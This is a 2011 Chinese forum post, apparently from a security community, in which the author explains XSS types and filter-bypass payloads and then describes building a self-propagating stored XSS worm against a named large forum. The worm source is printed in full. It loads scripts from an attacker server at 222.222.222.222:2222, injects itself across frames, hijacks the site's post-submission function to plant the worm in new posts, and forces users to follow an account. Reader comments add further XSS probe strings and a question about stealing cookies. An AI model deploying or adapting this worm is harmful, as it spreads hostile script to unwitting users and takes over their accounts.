一只XSS蠕虫的实现

Author: kunting520       
EMail: kunting520@gmail.com
Date: 2011-06-20

[ 目录 ]

0×-1 声明
0×00 前言
0×01 关于XSS
0×02 发现XSS
0×03 蠕虫实现
0×04 总结


0×-1 声明

    前两天,在土司上发一帖子(http://t00ls.net/thread-16240-1-2.html)是关于有传言说DZ X2的0day,结果被很多人踩,打击甚大。首先声明两句,其一,本人从事软件编程工作,从不日站(以后可能),只是空闲之余对WEB安全这一领域十分感兴趣,经常看一些技术博客而已,其二,最近关于DZ X2的0day传言网上到处都是,但是论坛里却没有关于该事件的任何信息,于是在水区发了关于DZ X2的帖子,这可是八卦的地方啊!学习论坛总规则时感觉确实很严,但是但是。。。这不是一般的严啊!有同学说这是我的第一个帖子就要DZ X2的0day不厚道,所以今天发篇帖子和大家讨论下技术,希望能认识论坛里更多的朋友!

0×00 前言

    来土司学习也有段时间,几个可见版块讨论的帖子基本上都是关于渗透的,所以这里发表自己对于XSS的看法,希望感兴趣的同学可以和我讨论。
    关于XSS,国外早就有开始有人关注了,很多著名的安全人员都将重点放在XSS上,而且水平也达到了很高的程度。幸运的是,国内安全人员从06、07左右也开始研究XSS,那个时候各大门户网站、邮件系统以及搜索巨头等都存在着很明显的XSS漏洞,甚至没有做过任何简单的防护,但是现在不一样了,想发现大型网站的XSS漏洞还是要花费一番功夫的。说实话,对于日站的同学来说,XSS确实没有SQL注入、文件上传漏洞、远程文件包含来的实在,有时候可以直接获取WebShell甚至拿到系统的控制权,而XSS,虽然它在渗透服务器过程中有着十分重要的作用,但是归根结底它是用来针对客户端用户(浏览器用户)的攻击,当然包括网站的管理员。然而在大多数人眼里,XSS已经俨然演化为alert(/xss/),在某个网站的页面出现弹框了,就发生了XSS了,其实远没有,那只是个开始。要想将XSS利用的完美确实是一门艺术,你需要对网站的结构有足够的了解,需要扎实的JS功底。
前几天和一同学交流,得到消息说,国内外各大邮箱系统,只要是国人常用的(我所知道的)除gmail外,全部被查找出XSS漏洞,并且相关利用产品已经开发出来,有的甚至不需要点击链接、不需要浏览邮件,进了邮箱即受到攻击。攻击的内容甚是恐怖,大家可以想象。所以使用邮箱的用户注意了,也许有那么一天别人登录了你的邮箱。
0×01 关于XSS

     XSS亦即跨站点脚本,它被赋予了两层意思,一是指跨站点脚本漏洞,一是指利用跨站点脚本漏洞进行的攻击。它的本质是恶意攻击者提交的数据在另一客户端被当做代码执行了。这里包含两点,一是由于程序编写的原因,将用户提交的数据当做代码执行了(这和缓冲区溢出很类似),二是XSS攻击是针对客户端用户(浏览器)的攻击,攻击者的shellcode是运行在浏览器上的,并不是运行在服务器上。基于上述XSS的本质,那么XSS漏洞发生的根本原因也有两个,这也是所以程序漏洞产生的根本即:”程序员的一切假设都是危险的,用户的一切输入都是有害的”。
    XSS漏洞主要分为三类:存储型XSS,这是危害最大的一类XSS,出现在用户输入数据以使其他用户查看的地方,这样的地方有很多包括文章、评论、邮件、留言以及其他任何用户输入并且保存到数据库的地方。当攻击者提交恶意输入,应用程序将其存储到数据库,其他用户浏览了相关页面,此时应用程序将提取数据库中恶意数据显示到浏览器上,从而得到执行引起XSS攻击。反射型XSS,这是存在最多的一类XSS,乌云()里面到处都是这类漏洞,另外国外一网站xssed.com也收集了大量的这类漏洞,感兴趣的同学可以去看看。这类漏洞的产生是因为程序员为了方便(可能是其他原因),直接在URL中加入消息参数,并且未将该参数经任何过滤,当用户请求包含恶意代码的URL时,经过服务器反射回来直接显示到页面中,于是恶意代码得到执行,在利用该类XSS时,存在的不足是需要用户的点击。很多扫描工具都支持发掘这类XSS,所以才导致乌云上的泛滥。还有一类是基于DOM的XSS漏洞,这类漏洞比较少见,它很类似反射型的XSS,不同的是利用了客户端脚本中的DOM技术,测试工具主要是火狐的一个扩展dominator,目前支持到FF3.6。
    结合XSS的其他:CSRF现在确实是老生常谈了,中文是指跨站点请求伪造,相关资料可以参考lake2的文章;Flash也是可以XSS以及CSRF的。关于Flash跨站也十分的流行,很多网站(以SNS为主)都存在过此类漏洞,OWASP也相当重视,测试工具有很多,可参考OWASP中文测试指南,其次,大家可以关注下余弦的博客。当然不止这些,基本上所有使用脚本的地方都可以,例如HTML元素、属性,CSS,XML文档,Flash,除此之外还有PDF、WORD以及各种软件如林格斯、rar自解压等,这里不再细述。

0×02发现XSS

     如何查找网站的XSS呢?像Acunetix WVS、IBM的AppScan、华为的WebCruiser、诺赛科技的JSky都提过了非常好的XSS扫描功能。但是光靠工具是不行的,有时候网站会做些过滤,那么就得手工绕过了。Rsnake的网站上提供了非常齐全的XSS Cheat Sheet http://ha.ckers.org/xss.html,介绍了使用各种方法向页面插入测试代码,以及如何绕过网站的简单过滤。不过貌似很久都没更新了,仅仅在IE6.0-7.0,以及Firefox2.0等浏览器上进行测试,然而现在出了Chrome,貌似安全性很强,IE都已经到9了,FF也到了5(可以下载,官方尚未公布),所以很多测试代码现在并不可用。
    那么什么地方可以插入XSS攻击代码呢?这里简单讨论HTML以及CSS的插入脚本的方法,实际上在XSS Cheat Sheet中已经完全列出:
    a)无任何过滤:直接在表单中输入<script>alert(/xss/)</script>,注意单引号的闭合。
    b)利用事件:插入图片<img src=”1.jpg” onerror=”javascript:alert(/xss/)”>,很多网站存在。
    c)利用其他标记: <img src=”javascript:alert(/xss/)”>,可惜IE7以后不再支持绝大多数。
    d)利用expression:很多网站都倒在这上面了,包括百度、校内,第一个XSS蠕虫(Samy蠕虫(http://namb.la/popular/tech.html))也是利用了expression,<img style="xss:expression(alert(/xss/))">。当然利用expression也会有个缺点,表达式中的代码会一直重复执行。
    e)利用@import:<style>@import url(http://xxx.xxx.xxx/xss.css); </style>,导入CSS代码,可以利用d)嵌入脚本。
    这里只是简单举例,具体请参照XSS Cheat Sheet,以及其他技术博客如monyer(http://hi.baidu.com/monyer)等,他们都介绍了如何运用各种手段绕过网站的过滤(净化)。以上都是关于XSS的简单介绍,下面分享下如何发现某论坛的XSS漏洞以及编写蠕虫的思路。
    此次发现XSS漏洞并实现XSS蠕虫纯属偶然。某日上一著名YY论坛,发现其页面有较大横幅提示说论坛全新改版,请大家关注。看到这几个字便萌生了测试XSS的想法,首先将键盘上所有的敏感字符全部输一遍提交,看看其过滤情况,结果发现论坛程序并未使用HTML编码,看到希望HAPPY。随即提交了”kunting520<script>var kt;</script>”(不建议使用alert(),会被警觉的管理员发现),查看返回的源代码,只剩下”kunting520”,<script>标记以及包含的内容已经不在了,看来是利用正则对特定标记做了过滤。再经过一段时间的查找,发现插入图片等多个地方可以XSS,具体代码如下:

以下是引用片段:

<img src = "1.jpg" onerror = "javascript: var s=document.createElement('script'); s.src= 'http://222.222.222.222:2222/13.j'; document.body.appendChild(s);" >

这样便成功向当前页面插入一段JS脚本。值得注意的是,不知道为什么该论坛会对用户提交的数据在客户端本地会做一定的修改,例如这里的appendChild会修改成appendchild,由于JS严格要求大小写,所有这段脚本是不可能执行成功的。于是抓包修改,提交成功。

0×03蠕虫实现

     这里不讨论如何去实现XSS蠕虫的恶意功能,关于利用XSS进行更加有效、简单的攻击,已经有产品化的工具出现,如国外的BEEF(http://www.bindshell.net/tools/beef.html)、XSS Shell (http://labs.portcullis.co.uk/application/xssshell/)以及国内大风等人的开源作品Anehta ( http://code.google.com/p/anehta/ )等等。有兴趣的读者可以参考下。这里主要讨论如何去实现XSS蠕虫代码的繁殖,毕竟这才是其能够称作为XSS蠕虫的首要条件。
     先介绍下该论坛的结构(哎,其实你们知道的,但是土司总规则。。。),主域名是xxx.com,其下有很多二级域名以cyg.xxx.com最为出名,访问量极其高。本次的XSS漏洞就是发生在该二级域网站下面。该二级域的结构主要包含两个,一个是显示帖子标题列表的主框架(位于整个页面的左方一小部分),另一个是显示帖子内容的子框架(位于右方),当单击列表中某一标题时,便会向服务端发送HTTP请求,并将返回的内容写入到子框架中。我只想编写出一个利用保存型XSS漏洞的蠕虫,这样当客户端用户浏览了包含蠕虫代码的页面,便会受到感染,并不希望以单击链接的形势传播,容易被发觉,且传播较慢。那么如何做到传播呢?
     a)该论坛不像SNS如人人网一样,以人为本,大家都在自己的一个小圈子里,各个圈子是有交集的,每个人都有自己的主页以供他人浏览,所以SNS蠕虫常常将shellcode嵌入到用户的个人资料中,当正常用户访问资料时便受到感染,从而将更改正常用户的资料嵌入shellcode,或者是通过发表一篇包含蠕虫代码的文章,当正常用户浏览了该文章便会分享或者也发表类似的文章,从而感染用户以指数增长;然而该论坛是以帖子为主,各个用户通过帖子、帖子回复进行交流,并不存在个人主页等等,那么感染用户资料是不现实的(确实有,内容很少,且在另一个二级域),通过发表相似帖子来到达一传十,十传百是也是不可能的,且容易被发现(都会被置顶);
    b)不能任意发文章,那么对已经发表的每个帖子进行恶意回复如何?这是我开始的思路,但是注意了,前面说所有的文章、回复都是显示在页面的子框架中,当该页面被刷新,蠕虫的脚本代码就没了(由于跨站点脚本漏洞是被动式的攻击,我们只能在对方站点有漏洞的页面加入恶意的javascript,用户只有访问了特定的页面才会触发漏洞,而离开这个页面,攻击也就随之失效。),所以在没被刷新赶紧POST数据出去,论坛的评论的URL是http://cyg.xxx.com /topic/addReply.do,POST的内容包括uid、sid以及body等参数,其中sid是帖子ID号,body为评论内容。这样应该可以了吧,接着测试遇到问题,为了防止CSRF,该论坛对每个提交的请求进行了严格的refferer消息头的检查,因此必须访问到帖子才能进行回复,于是这条路断了;
    c)经过一段时间的思考,决定使用框架注入技术。步骤如下:现在我发了一篇包含蠕虫代码的帖子,当正常用户在主框架中点击帖子的标题时,子框架会将包含蠕虫的页面加载进来,这个时候蠕虫通过js操作主框架的DOM,向主框架页面中加入脚本,具体实现:

以下是引用片段:

var topscript = parent.document.createElement("script");
parent.document.body.appendChild(topscript);
topscript.src = "http://222.222.222.222:2222/hij.js";

这样主框架页面我也能够控制了,那么下一步是当用户刷新子框架页面时,保存在主框架中蠕虫脚本将向新页面注入恶意JS,从而重新控制用户的子框架。这样受感染用户浏览的任意一篇帖子都会存在蠕虫脚本,即使该子框架页面源码中没有蠕虫载体,具体实现:

以下是引用片段:

function creatScript()
{
        if(!document.getElementById("rightframe")||!document.frames["rightframe"])
                return;
        var rightframe = document.getElementById("rightframe").contentDocument || document.frames["rightframe"].document;                //获取子框架的document对象
        if(rightframe.getElementById("kunting520")==null)        //这里判断子框架是否已经被注入脚本
        {;
                var s=document.createElement("script");
                s.setAttribute("id","kunting520");
                s.src="http://222.222.222.222:2222/kt.js";
                rightframe.body.appendChild(s);
        }
}
setInterval(creatScript,20000);                //每个20s运行一次函数

d)单个用户是搞定了,如何进行传播呢?为了不让用户察觉或者不让蠕虫过早的被管理员发现,这里并没有借助控制每个感染用户恶意发帖(在a中讨论过)。而是利用HiJack技术,劫持用户的行为,这里主要是劫持用户发帖以及发评论的动作,并向发表的内容中加入蠕虫载体,主要实现如下:

以下是引用片段:

function hijackLinks()
        {
                var as=document.links;
                for(var i=0;i<as.length;i++){
                        if(as[i].href=="javascript:MOP.DZH.formSubmitNormal();")
                        {
                                as[i].href="javascript:hijack();MOP.DZH.formSubmitNormal();";
                        }
                }
        }

这里MOP.DZH.formSubmitNormal()函数是提交帖子、评论的函数,hijack()函数是蠕虫自己的函数,用于向准备发送的HTTP请求中添加蠕虫载体代码,并且在劫持之后需要进行再次调用MOP.DZH.formSubmitNormal()函数,否则发不了帖子。前面说过该论坛的JS会对用户输入的内容做一定的修改,应该是在MOP.DZH.formSubmitNormal()函数之前进行的,因为我抓包测试,蠕虫追加的内容在发送出去之后并未做任何修改。这样蠕虫的传播便实现了。
e)关于DDOS
     绝大部分的XSS蠕虫是为了收集信息,将从各个客户端获取到的信息发送到自己的服务器上,如果考虑不全,会导致服务器被自己的XSS蠕虫给DDOS,因为SNS服务商使用的是高性能服务器集群,而收集信息的服务器很可能是一台性能不错的笔记本!这种确实情况是存在的,今年的4月29日开始,在人人爆发了一次大规模收集信息的XSS蠕虫,具体代码参考http://pastebin.com/HKZ0UV30,结果悲剧的是攻击者的服务器被D掉了。

0×04 总结
    a)总体来说本蠕虫编写还算顺利,没有遇到什么大的障碍,主要的时间是花在抓包以及调试上面,大概用了三天时间。但是天下莫大的悲剧就是蠕虫刚编写出来,漏洞就被补了,因此才敢在这里将代码发出来,希望能给研究XSS的朋友提供个思路。
    b)来土司这么久,发现论坛里的技术帖,绝大部分是讨论关于日站的思路以及经验的,所以才会发一XSS相关帖子,本帖子很大篇幅是对前人技术的总结,希望起到抛砖引玉的作用,能给论坛带来一个讨论XSS好的开头。
    c)编写XSS蠕虫最为关键的步骤是如何去将蠕虫传播的更远更快,体积大小也是常常考虑的问题,在RSnake的论坛也有专门讨论的帖子Diminutive XSS Worm Replication Contest(http://sla.ckers.org/forum/read.php?2,18790,page=19),在FF2.0和IE7.0上最小的可传播的JS载体居然只有155个字符。
    d)关于如何测试XSS、CSRF、SQL注入等各种WEB漏洞,08年的时候,OWASP给出一个中文测试指南(https://www.owasp.org/images/0/06/OWASP测试指南(中文).pdf),里面介绍了各种漏洞的原理,以及测试方案,并且提供了相关资料包括书籍、白皮书以及测试工具等等。
    e)各位请轻砸!毕竟手敲这多字不容易,搞到今早四点多,还好有3D陪伴。。

附录
    这里是蠕虫的传播代码,具有攻击性的代码已经去除

xss worm.txt:


/////////////////////////////////////
//远程注入js文件:13.j
//
/////////////////////////////////////
var kt;
if(kt!="I lvoe kunting!Just for fun!")
{
 kt="I lvoe kunting!Just for fun!";
 function addLoadEvent(func)
 {
  var oldfunc=window.onload;
  if(typeof(window.onload)!="function"){
   window.onload=func;
  }
  else{
   window.onload=function()
   {
    oldfunc();
    func();
   }
  }
 }
 
 function sleep(numberMillis) {
  var now = new Date();
  var exitTime = now.getTime() + numberMillis;
  while (true) {
   now = new Date();
   if (now.getTime() > exitTime)
    return;
  }
 }
 
 function createXMLHttpRequest()
 {
  if(window.XMLHttpRequest)
  {
   request = new XMLHttpRequest();
   if(request.overrideMimeType)
   {
     request.overrideMimeType('text/xml');
   }
  }
  else if(window.ActiveXObject)
  {
   var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
   for(var i=0; i<versions.length; i++)
   {
    try
    {
     request = new ActiveXObject(versions[i]);
     if(request)
     {
      return request;
     }
    }
    catch(e) {}
   }
  }
  return request;
 }
 /*
 function delXHR()
 {
  if(xmlHttp.readyState == 4) {
   if(xmlHttp.status == 200) {
    if(xmlHttp)
     delete(xmlHttp);
    }
   }
    
 }
 */
 function postFollow(xmlHttp,url,strcontent)
 {
  xmlHttp.onreadystatechange = null;
  xmlHttp.open('POST',url,true);xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
  xmlHttp.setRequestHeader('Content-length', '33');xmlHttp.setRequestHeader('Referrer', 'http://dzh.mop.com/');
  xmlHttp.send(strcontent);
 }
 
 var xmlFollow=createXMLHttpRequest();
 postFollow(xmlFollow,'http://dzh.mop.com:80/mopper/follow.do','targetId=431139529&operation=true');
 delete(xmlFollow);
 
 function createHij()
 {
//  parent.document.hijtest();
  var topscript = parent.document.createElement("script");
  parent.document.body.appendChild(topscript);
  topscript.src = "http://222.222.222.222:2222/hij.js";
 }
 addLoadEvent(createHij);
}

 

//////////////////////////////////////////////////
//
//注入到主框架js脚本文件名:hij.js
//////////////////////////////////////////////////
function creatScript()
{
 if(!document.getElementById("rightframe")||!document.frames["rightframe"])
  return;
 var rightframe = document.getElementById("rightframe").contentDocument || document.frames["rightframe"].document;
 if(rightframe.getElementById("kunting520")==null)
 {;
  var s=document.createElement("script");
  s.setAttribute("id","kunting520");
  s.src="http://222.222.222.222:2222/kt.js";
  rightframe.body.appendChild(s);
 }
}
setInterval(creatScript,20000);

 

//////////////////////////////////////////////////
//
//从主框架中再注入到子框架js脚本文件名:kt.js
//////////////////////////////////////////////////

var InjectFlag = 0;
var hostUrl ="http://dzh.mop.com";
var endUrl = null;
var kt;
var endHttp;

function createXMLHttpRequest()
{
 if(window.XMLHttpRequest)
 {
  request = new XMLHttpRequest();
  if(request.overrideMimeType)
  {
   request.overrideMimeType('text/xml');
  }
 }
 else if(window.ActiveXObject)
 {
  var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  for(var i=0; i<versions.length; i++)
  {
   try
   {
    request = new ActiveXObject(versions[i]);
    if(request)
    {
     return request;
    }
   }
   catch(e) {}
  }
 }
 return request;
}
 
function isInject()
{
 if(endHttp.readyState == 4) {
  if(endHttp.status == 200) {
   var endpage=new String(endHttp.responseText);
   if(!endpage.indexOf("http://kunting520.jpg"))
    InjectFlag = 1;
  }
 }
}


for(var k =0;k<document.links.length;k++)
{
 if(document.links[k].getAttribute("class")=="endgray")
 {
  endUrl = hostUrl + document.links[k].href;
  break;
 }
}
 
if(endUrl == null)
{
 if(kt !="I lvoe kunting!Just for fun!")
  InjectFlag = 1;
}
else
{
 endHttp = createXMLHttpRequest();
 endHttp.onreadystatechange = isInject;
 endHttp.open('GET',endUrl,false);
 endHttp.send(null);
}

if(InjectFlag == 1)
{
 function hijack()
 {
  var oRTE = document.frames ? document.frames["content"] : document.getElementById("content").contentWindow;

  var body = oRTE.document.body.innerHTML ;
  
  oRTE.document.body.innerHTML = body+"<img src=\"http://kunting520.jpg\" onerror='javascript:var s=document.createElement(\"script\");s.src=\"http://222.222.222.222:2222/13.js\";document.body.appendChild(s);'";
 }
  
 function hijackLinks()
 {
  var as=document.links;
  for(var i=0;i<as.length;i++){
   if(as[i].href=="javascript:MOP.DZH.formSubmitNormal();")
   {
    as[i].href="javascript:hijack();MOP.DZH.formSubmitNormal();";
   }
  }
 }
 
 hijackLinks();
}

留言评论(旧系统):

alert(1); @ 2015-01-26 20:36:01

<script>alert(1)</script>

本站回复:

<script>alert(1)</script>

n倒萨 @ 2015-04-15 21:05:07

"><script>alert('xss');</script><"

本站回复:

"><script>alert('xss');</script><"

佚名 @ 2015-08-03 16:37:43

&quot;&gt;&lt;script&gt;alert(&#39;xss&#39;);&lt;/script&gt;&lt;&quot;

本站回复:

alert('xss')

佚名 @ 2015-10-25 17:02:31

请教下博主,DZ论坛的的XSS怎么抓不到cookies

本站回复:

百度:HTTP-only